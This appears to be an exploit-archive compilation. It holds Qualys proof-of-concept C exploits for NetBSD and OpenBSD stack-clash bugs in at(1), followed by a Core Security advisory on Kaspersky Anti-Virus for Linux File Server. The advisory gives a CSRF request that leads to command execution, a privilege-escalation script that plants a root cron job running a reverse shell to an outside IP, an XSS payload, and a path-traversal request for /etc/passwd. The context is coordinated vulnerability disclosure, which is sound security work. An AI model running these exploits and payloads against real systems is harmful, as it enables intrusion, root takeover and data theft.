        if (WEXITSTATUS(status) == EXIT_SUCCESS) continue;
        if (WEXITSTATUS(status) != EXIT_FAILURE) die();
    }
    die();
}
            
/*
 * NetBSD_CVE-2017-1000375.c (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}

int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    if (argc != 2) die();
    const size_t smash_size = strtoul(argv[1], NULL, 0);
    if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
    smash_no_jump(smash_size);
    exit(EXIT_SUCCESS);
}
            
/*
 * OpenBSD_at.c for CVE-2017-1000373
 * Copyright (c) 2017  Qualys, Inc.
 * slowsort() adapted from lib/libc/stdlib/qsort.c:
 *
 * Copyright (c) 1992, 1993
 *      The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 *  OpenBSD_at.c for CVE-2017-1000372
 *  Copyright (C) 2017  Qualys, Inc.
 *  ttime() adapted from usr.bin/at/at.c:
 *
 *  at.c : Put file into atrun queue
 *  Copyright (C) 1993, 1994  Thomas Koenig
 *
 *  Atrun & Atq modifications
 *  Copyright (C) 1993  David Parsons
 *
 *  Traditional BSD behavior and other significant modifications
 *  Copyright (C) 2002-2003  Todd C. Miller
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. The name of the author(s) may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <ctype.h>
#include <dirent.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

static const char *
u64tostr(uint64_t u64)
{
    static char str[64];
    char * cp = str + sizeof(str);
    *--cp = '\0';
    do {
        if (cp <= str) _exit(__LINE__);
        *--cp = '0' + (u64 % 10);
    } while (u64 /= 10);
    return cp;
}

#define die() do { \
    const char * const str = u64tostr(__LINE__); \
    const size_t len = strlen(str); \
    write(STDERR_FILENO, "\n[", 2); \
    write(STDERR_FILENO, str, len); \
    write(STDERR_FILENO, "]\n", 2); \
    _exit(EXIT_FAILURE); \
} while (0)

static __inline char    *med3(char *, char *, char *, int (*)(const void *, const void *));
static __inline void     swapfunc(char *, char *, size_t, int);

/*
 * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
 */
#define swapcode(TYPE, parmi, parmj, n) {               \
        size_t i = (n) / sizeof (TYPE);                 \
        TYPE *pi = (TYPE *) (parmi);                    \
        TYPE *pj = (TYPE *) (parmj);                    \
        do {                                            \
                TYPE    t = *pi;                        \
                *pi++ = *pj;                            \
                *pj++ = t;                              \
        } while (--i > 0);                              \
}

#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
        es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;

static __inline void
swapfunc(char *a, char *b, size_t n, int swaptype)
{
        if (swaptype <= 1)
                swapcode(long, a, b, n)
        else
                swapcode(char, a, b, n)
}

#define swap(a, b)                                      \
        if (swaptype == 0) {                            \
                long t = *(long *)(a);                  \
                *(long *)(a) = *(long *)(b);            \
                *(long *)(b) = t;                       \
        } else                                          \
                swapfunc(a, b, es, swaptype)

#define vecswap(a, b, n)        if ((n) > 0) swapfunc(a, b, n, swaptype)

static __inline char *
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
{
        return cmp(a, b) < 0 ?
               (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
              :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
}

typedef struct {
        size_t idx;
        size_t key;
} slowsort_t;

static __inline void
set_key(void * const _pss, const size_t key)
{
        slowsort_t * const pss = _pss;
        if (!pss) die();
        if (!key) die();
        if (pss->key) die();
        pss->key = key;
}

#define RESET_KEY SIZE_MAX

static void
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
{
        if (!aa) die();
        if (n <= 0) die();
        if (n >= SSIZE_MAX) die();
        if (es <= 0) die();
        if (es >= SSIZE_MAX) die();
        if (!cmp) die();

        #define SET_KEYS 4
        #define STACK_FRAME_SIZE 176
        const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
        if (n < pathological) die();
        size_t innocuous = n - pathological;

        char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
        int cmp_result, swaptype;
        size_t d, r;
        char *a = aa;

loop:   SWAPINIT(a, es);
        if (innocuous) {
            if (n <= innocuous) die();
            if (n - innocuous <= SET_KEYS) die();
            if (n <= 40) die();
        }
        if (n < 7) {
                for (pm = a; pm < a + n * es; pm += es) {
                        set_key(pm, 1 + (pm - a) / es);
                }
                for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
                        for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
                             pl -= es)
                                swap(pl, pl - es);
                return;
        }
        pm = (char *)a + (n / 2) * es;
        size_t set_keys = 0;
        if (n > 7) {
                pl = (char *)a;
                pn = (char *)a + (n - 1) * es;
                if (n > 40) {
                        d = (n / 8) * es;
                        if (innocuous) {
                            set_key(pl, RESET_KEY);
                            set_key(pl + d, RESET_KEY);
                            set_key(pl + 2 * d, RESET_KEY);
                        }
                        pl = med3(pl, pl + d, pl + 2 * d, cmp);
                        if (innocuous) set_key(pm - d, RESET_KEY);
                        set_key(pm + 0, n - innocuous - 3);
                        set_key(pm + d, n - innocuous - 2);
                        pm = med3(pm - d, pm, pm + d, cmp);
                        if (innocuous) set_key(pn - 2 * d, RESET_KEY);
                        set_key(pn - d, n - innocuous - 1);
                        set_key(pn - 0, n - innocuous - 0);
                        pn = med3(pn - 2 * d, pn - d, pn, cmp);
                        set_keys = SET_KEYS;
                } else {
                        set_key(pm, n - 1);
                        set_key(pn, n - 0);
                        set_keys = 2;
                }
                pm = med3(pl, pm, pn, cmp);
        } else {
                set_key(pm, n - 0);
                set_keys = 1;
        }
        if (!set_keys) die();
        swap(a, pm);
        if (innocuous) {
            if (a != aa) die();
            slowsort_t * pss = aa;
          {
            const size_t key = pss->key;
            if (!key) die();
            if (n <= 40) die();
            if (set_keys != SET_KEYS) die();
            if (key != n - innocuous - set_keys + 1) die();
          }
            const slowsort_t * const end = pss + n;
            size_t i = 0;
            for (;; pss++) {
                if (pss >= end) {
                    if (i != innocuous) die();
                    break;
                }
                if (!pss->key) {
                    if (i < innocuous) {
                        set_key(pss, n - i++);
                        set_keys++;
                    }
                } else if (pss->key == RESET_KEY) {
                    pss->key = 0;
                } else {
                    if (pss->key > n - innocuous) die();
                }
            }
        }
        pa = pb = (char *)a + es;
        pc = pd = (char *)a + (n - 1) * es;
        for (;;) {
                while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
                        if (cmp_result == 0) {
                                swap(pa, pb);
                                pa += es;
                        }
                        pb += es;
                }
                while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
                        if (cmp_result == 0) {
                                swap(pc, pd);
                                pd -= es;
                        }
                        pc -= es;
                }
                if (pb > pc)
                        break;
                swap(pb, pc);
                pb += es;
                pc -= es;
        }

        pn = (char *)a + n * es;
        r = MIN(pa - (char *)a, pb - pa);
        vecswap(a, pb - r, r);
        r = MIN(pd - pc, pn - pd - (ssize_t)es);
        vecswap(pb, pn - r, r);

        if ((pb - pa) / es != n - set_keys) die();
        if ((pd - pc) / es != set_keys - 1) die();

        if ((r = pb - pa) > es) {
                n = r / es;
                innocuous = 0;
                goto loop;
        }
        die();
}

static int
cmp_key(const void * const a, const void * const b)
{
        const size_t __a_key = ((const slowsort_t *)a)->key;
        const size_t __b_key = ((const slowsort_t *)b)->key;
        const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
        const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
        if (a_key < b_key) return -1;
        if (a_key > b_key) return +1;
        return 0;
}

#define    ATOI2(s)    ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))

/*
 * Adapted from date(1)
 */
static time_t
ttime(char *arg)
{
    time_t now, then;
    struct tm *lt;
    int yearset;
    char *dot, *p;

    if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
        die();

    /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
    for (p = arg, dot = NULL; *p != '\0'; p++) {
        if (*p == '.' && dot == NULL)
            dot = p;
        else if (!isdigit((unsigned char)*p))
            goto terr;
    }
    if (dot == NULL)
        lt->tm_sec = 0;
    else {
        *dot++ = '\0';
        if (strlen(dot) != 2)
            goto terr;
        lt->tm_sec = ATOI2(dot);
        if (lt->tm_sec > 61)    /* could be leap second */
            goto terr;
    }

    yearset = 0;
    switch(strlen(arg)) {
    case 12:            /* CCYYMMDDhhmm */
        lt->tm_year = ATOI2(arg) * 100;
        lt->tm_year -= 1900;    /* Convert to Unix time */
        yearset = 1;
        /* FALLTHROUGH */
    case 10:            /* YYMMDDhhmm */
        if (yearset) {
            yearset = ATOI2(arg);
            lt->tm_year += yearset;
        } else {
            yearset = ATOI2(arg);
            /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
            lt->tm_year = yearset;
            if (yearset < 69)
                lt->tm_year += 100;
        }
        /* FALLTHROUGH */
    case 8:                /* MMDDhhmm */
        lt->tm_mon = ATOI2(arg);
        if (lt->tm_mon > 12 || lt->tm_mon == 0)
            goto terr;
        --lt->tm_mon;        /* Convert from 01-12 to 00-11 */
        lt->tm_mday = ATOI2(arg);
        if (lt->tm_mday > 31 || lt->tm_mday == 0)
            goto terr;
        lt->tm_hour = ATOI2(arg);
        if (lt->tm_hour > 23)
            goto terr;
        lt->tm_min = ATOI2(arg);
        if (lt->tm_min > 59)
            goto terr;
        break;
    default:
        goto terr;
    }

    lt->tm_isdst = -1;        /* mktime will deduce DST. */
    then = mktime(lt);
    if (then == (time_t)-1) {
    terr:
        die();
    }
    if (then < now)
        die();
    return (then);
}

static bool reading_jobs;

void *
reallocarray(void * const ptr, const size_t nmemb, const size_t size)
{
    static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
    if (!real_reallocarray) {
        real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
        if (!real_reallocarray) die();
    }
    if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
        if (reading_jobs) die();
        reading_jobs = true;
    }
    void * const new_ptr = real_reallocarray(ptr, nmemb, size);
    if (!new_ptr) die();
    return new_ptr;
}

#define NUMJOBS (40<<20)

static const size_t *
get_jobkeys(void)
{
    const size_t n = NUMJOBS;
    slowsort_t * const a = calloc(n, sizeof(slowsort_t));
    write(STDERR_FILENO, "initializing jobkeys\n", 21);
    if (!a) die();
    size_t i;
    for (i = 0; i < n; i++) {
        a[i].idx = i;
    }
    slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
    size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
    write(STDERR_FILENO, "finalizing jobkeys\n", 19);
    if (!jobkeys) die();
    for (i = 0; i < n; i++) {
        const size_t j = a[i].idx;
        const size_t k = a[i].key;
        if (j >= n) die();
        if (k <= 0) die();
        if (k > n) die();
        if (jobkeys[j]) die();
        jobkeys[j] = k;
    }
    free(a);
    return jobkeys;
}

static struct dirent dirent;

struct dirent *
readdir(DIR * const dirp)
{
    static struct dirent * (* real_readdir)(DIR *dirp);
    if (!real_readdir) {
        real_readdir = dlsym(RTLD_NEXT, "readdir");
        if (!real_readdir) die();
    }
    if (!reading_jobs) {
        return real_readdir(dirp);
    }
    static size_t numjobs;
    if (numjobs >= NUMJOBS) {
        write(STDERR_FILENO, "sorting jobs\n", 13);
        return NULL;
    }
    static char arg[32];
    char * cp = arg + sizeof(arg);
    *--cp = '\0';
  {
    static const struct {
        uint32_t min;
        uint32_t max;
    } units[] = {
        { 0, 59 }, /* Second */
        { 0, 59 }, /* Minute */
        { 0, 23 }, /* Hour */
        { 1, 28 }, /* Day */
        { 1, 12 }, /* Month */
        { 2038, 2099 } /* Year */
    };
    static const size_t * jobkeys;
    if (!jobkeys) {
        jobkeys = get_jobkeys();
        if (!jobkeys) die();
        write(STDERR_FILENO, "reading jobs\n", 13);
    }
    uint32_t timer = jobkeys[numjobs++];
    if (timer > NUMJOBS) die();
    if (timer <= 0) die();
    static size_t percent = 10;
    if (numjobs == NUMJOBS / 100 * percent) {
        const char * const str = u64tostr(percent);
        const size_t len = strlen(str);
        write(STDERR_FILENO, str, len);
        write(STDERR_FILENO, "%\n", 2);
        percent += 10;
    }
    size_t i;
    for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
        const uint32_t min = units[i].min;
        const uint32_t max = units[i].max;
        const uint32_t div = max - min + 1;
        const uint32_t u32 = min + timer % div;
        timer /= div;
        if (u32 < min) die();
        if (u32 > max) die();
        const char * const str = u64tostr(u32);
        const size_t len = strlen(str);
        if (cp <= arg) die();
        if (cp - arg < (ssize_t)len) die();
        cp -= len;
        memcpy(cp, str, len);
        if (len < 2) {
            if (cp <= arg) die();
            *--cp = '0';
        }
        if (!i) {
            if (cp <= arg) die();
            *--cp = '.';
        }
    }
    if (timer) die();
  }
    if (strlen(cp) != 15) die();
    const uint64_t timer = ttime(cp);
    strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
    strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
    return &dirent;
}

int
fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
{
    static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
    if (!real_fstatat) {
        real_fstatat = dlsym(RTLD_NEXT, "fstatat");
        if (!real_fstatat) die();
    }
    if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
        return real_fstatat(fd, path, sb, flag);
    }
    memset(sb, 0, sizeof(*sb));
    sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
    static uid_t user_uid;
    if (!user_uid) {
        user_uid = getuid();
        if (!user_uid) die();
    }
    sb->st_uid = user_uid;
    return 0;
}
            
1. *Advisory Information*

Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0003
Advisory URL: http://www.coresecurity.com/advisories/Kaspersky-Anti-Virus-File-Server-Multiple-Vulnerabilities
Date published: 2017-06-28
Date of last update: 2017-06-28
Vendors contacted: Kaspersky
Release mode: Forced release

2. *Vulnerability Information*

Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
Improper Privilege Management [CWE-269], Improper Limitation of a
Pathname to a Restricted Directory [CWE-22]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812

3. *Vulnerability Description*

From Kaspersky Lab's website:
"Large corporate networks that use file servers running on different
platforms can be a real headache when it comes to antivirus protection.
Kaspersky Anti-Virus for Linux File Server is part of our range of new
and refreshed products, solutions and services for heterogeneous
networks. It provides a superior protection with Samba server
integration and other features that can protect workstations and file
servers in even the most complex heterogeneous networks. It is also
certified VMware Ready and supports current versions of FreeBSD for
integrated, future-proof protection."

Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
Linux File Server [2] Web Management Console. It is possible for a
remote attacker to abuse these vulnerabilities and gain command
execution as root.

4. *Vulnerable Packages*

. Kaspersky Anti-Virus for Linux File Server 8.0.3.297 [2]
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Kaspersky [1] published the following Maintenance Pack:
   . Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):
   https://support.kaspersky.com/13738/

6. *Credits*

This vulnerability was discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

Kaspersky Anti-virus for Linux File Server comes bundled with a Web
Management Console to monitor the application's status and manage its
operation.

One specific feature allows configuring shell scripts to be executed
when certain events occur. This functionality is vulnerable to
cross-site request forgery, allowing code execution in the context of
the web application as the kluser account. The vulnerability is
described in section 7.1.

Moreover, it is possible to elevate privileges from kluser to root by
abusing the quarantine functionality provided by the kav4fs-control
system binary. This is described in section 7.2.

Additional web application vulnerabilities were found, including a
reflected cross-site scripting vulnerability (7.3) and a path traversal
vulnerability (7.4).

7.1. *Cross-site Request Forgery leading to Remote Command Execution*

[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
interface. This would allow an attacker to submit authenticated requests
when an authenticated user browses an attacker-controlled domain.

The following request will update the notification settings to run a
shell command when an object is moved to quarantine. For the full list
of events refer to the product's documentation. Note that it is possible
to add a script to all existing events in a single request, widening the
window of exploitation.

The proof-of-concept creates the file /tmp/pepperoni. Shell commands
are run as the lower privilege kluser.

Payload:
/-----
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]
-----/

Request:

/-----
POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
wmc_full_stat=1;
wmc_logsSimpleMode=1;
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js;
wmc_show_settings_descr=false;
iconsole_test; wmc_show_licence_descr=false
Connection: close

taskId=7&
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D
&schedule=%7B%7D&skipCtimeCheck=true

-----/

7.2. *Privilege escalation due to excessive permissions*

[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
binary. By abusing the quarantine read and write operations, it is
possible to elevate the privileges to root.

The following proof-of-concept script adds a cron job that will be
executed as root.

/-----
# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app

# Create cron job in /tmp
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron

# Sample reverse shell payload
cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF
chmod +x /tmp/reverse.sh

# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)

# Restore the file to /etc/cron.d
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant
-----/

7.3. *Reflected cross-site scripting*

[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
method is vulnerable to cross-site scripting.

/-----
http://<server
IP>:9080/cgi-bin/cgictl?action=licenseKeyInfo&do_action=licenseKeyInfo&scriptName=</script><img+src%3dx+onerror%3d"alert(1)"%3b/>&active=&licenseKey=bla
-----/

7.4. *Path traversal*

[CVE-2017-9812]: The reportId parameter of the getReportStatus action
method can be abused to read arbitrary files with kluser privileges.
The following proof-of-concept reads the /etc/passwd file.

/-----
GET
/cgi-bin/cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Referer: http://<server IP>:9080/
Cookie: iconsole_test; wmc_useWZRDods=true;
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
wmc_iconsole_lang=resource_en.js
Connection: close
-----/

8. *Report Timeline*
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
including a draft advisory.
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
five reported vulnerabilities and asked us opinion on their
justifications about mitigating factors on the other two. They also said
they would inform us about a fix date in a few days.
. 2017-04-06: Core Security thanked the confirmation and sent
justification for one of the vulnerabilities questioned. Core Security
agreed on removing one reported vulnerability since it can be mitigated
via a product setting.
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
reported and are working on a fix. They said fixes will be released
"till the June, 30", and also said will inform us the exact dates by
the end of June.
. 2017-04-25: Core Security thanked the confirmation of the final
vulnerabilities list and asked for clarification about the release date.
. 2017-04-25: Kaspersky clarified they will release the fix by June
30th and will let us know the exact date by mid June.
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
publication on June 30th and also asked for CVEs.
. 2017-06-19: Core Security answer back proposing advisory publication
to be July 3rd in order to avoid advisory publication on a Friday. Also
asked for clarification about a fix dated June 14th found by Core
Security researchers and whether or not it fixes the vulnerabilities
reported.
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
is related to fixes for reported vulnerabilities.
. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
fixing *all* the vulnerabilities reported in the current advisory. If
so Core Security will be releasing the advisory sooner than planned.
Reminded Kaspersky said they would release the fixes by June 30th.
. 2017-06-22: Core Security sent a draft advisory with the final CVE
IDs for each vulnerability.
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
and also noted about a typo in the advisory's timeline.
. 2017-06-23: Core Security requested again we need clarification
around patch 13738 as soon as possible.
. 2017-06-26: Core Security reviewed the patch released in June 14th
and confirmed it addresses all the vulnerabilities reported. Core
Security informed Kaspersky this advisory will be published as a
FORCED release on Wednesday 28th.
. 2017-06-28: Advisory CORE-2017-0003 published.

9. *References*

[1] https://www.kaspersky.com
[2] https://support.kaspersky.com/linux_file80

10. *About CoreLabs*

